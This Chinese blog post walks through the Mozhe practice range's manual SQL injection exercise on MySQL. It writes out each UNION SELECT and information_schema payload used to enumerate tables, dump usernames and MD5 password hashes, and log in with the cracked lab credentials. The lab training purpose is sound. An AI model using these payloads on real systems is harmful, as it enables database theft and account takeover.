1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > 墨者靶场:SQL手工注入漏洞测试(MySQL数据库)

墨者靶场:SQL手工注入漏洞测试(MySQL数据库)

时间:2024-01-02 08:05:58

相关推荐

墨者靶场:SQL手工注入漏洞测试(MySQL数据库)

有一说一,本来是准备把笔记写在墨者的解题思路里的,结果不让写了,离谱

启动靶场后,会进入一个登录界面,界面下面有一个维修公告,打开公告。

1.判断有没有注入点:

219.153.49.228:49464/new_list.php?id=1 and 1=1

219.153.49.228:49464/new_list.php?id=1 and 1=2

这个就是一个简单的逻辑问题,真且真为真,真且假为假。

2.猜解列名量(字段数)

利用语句 order by x (x为临界点),更改x的值,从而找出字段数 。根据情况我们从小到大或者从大到小挨个试就行。这里的字段数为4

(回车后出现的%20为空格)

new_list.php?id=1 order by 4

3.查找可显示字段数

new_list.php?id=-1 union select 1,2,3,4

注意:将id=1改为id=-1。我们要让传递的信息为后面的语句。

我们可以到页面显示的大大的2和小小的3,这里的可显示字段数为2个。分别为第二个和第三个。

4.信息收集

数据库版本 version()| 5.7.22-0ubuntu0.16.04.1

数据库名字 database() |mozhe_Discuz_StormGroup

数据库用户 user() | root@localhost

操作系统 @@version_compile_os | Linux

这里收集数据库名就够用了,其他的信息闲的无聊的也可以收集下。

new_list.php?id=-1 union select 1,group_concat(database()),3,4

5.查询所有表名

这里补充一点东西:

1.在MYSQL5.0(好像是)以上版本中,MYSQL存在一个自带的数据库名为information_schema,他是一个存储所有数据库名,表名,列名的数据库。

2.数据库中符号“ . ”代表下一级

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

这里得到两个表名

6.查询指定表名下的列名信息

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

信息:id,name,password,status

7.查询指定的数据

union select 1,name,password,4 from StormGroup_member

猜解多个数据可以采用limit x,1 变动猜解:

union select 1,name,password,4 from StormGroup_member limit 0,1

这里我们只需要拿到账号密码就行了。这里的密码是MD5加密的,我们去md5在线解密破解,md5解密加密这里解密一下就行了

mozhe dsan13

mozhe 756600

应该是登录第二个账号密码是可以正常登录的。

KEY在最下面直接提交就好了。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。